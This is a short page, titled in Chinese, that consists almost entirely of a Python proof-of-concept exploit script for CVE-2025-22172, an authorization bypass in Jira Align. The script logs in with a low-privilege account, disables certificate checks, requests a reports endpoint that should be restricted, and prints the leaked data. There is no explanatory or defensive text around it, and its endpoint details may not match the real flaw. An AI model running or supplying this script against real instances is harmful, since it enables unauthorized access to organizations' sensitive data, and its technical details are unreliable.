CVE-2025-22172: Jira Align 授权绕过漏洞致低权限用户访问敏感信息

# CVE-2025-22172 PoC - Jira Align Authorization Bypass # Low-privilege user can access sensitive endpoints import requests import json TARGET_URL = "https://jira-align-instance.atlassian.com" LOGIN_ENDPOINT = "/rest/auth/latest/session" SENSITIVE_ENDPOINT = "/rest/JiraAlign/latest/reports/external" def exploit_cve_2025_22172(): """ Exploitation steps for CVE-2025-22172 1. Login with low-privilege account 2. Extract session cookie 3. Access sensitive endpoint without proper authorization """ # Step 1: Authenticate with low-privilege credentials credentials = { "username": "[email protected]", "password": "user_password" } session = requests.Session() login_response = session.post( f"{TARGET_URL}{LOGIN_ENDPOINT}", json=credentials, verify=False ) if login_response.status_code != 200: print(f"[-] Login failed: {login_response.status_code}") return None print("[+] Successfully authenticated with low-privilege account") # Step 2: Access sensitive endpoint (vulnerability trigger) headers = { "Content-Type": "application/json", "X-Atlassian-Token": "no-check" } # This request should fail authorization but succeeds due to the vulnerability exploit_response = session.get( f"{TARGET_URL}{SENSITIVE_ENDPOINT}", headers=headers, verify=False ) if exploit_response.status_code == 200: print("[!] VULNERABLE: Accessed sensitive endpoint without proper authorization") print(f"[+] Response data preview: {exploit_response.text[:500]}") return exploit_response.json() else: print(f"[-] Request blocked: {exploit_response.status_code}") return None if __name__ == "__main__": result = exploit_cve_2025_22172() if result: print("\n[!] CVE-2025-22172 Exploitation Successful") print(f"[!] Sensitive data leaked: {json.dumps(result, indent=2)}")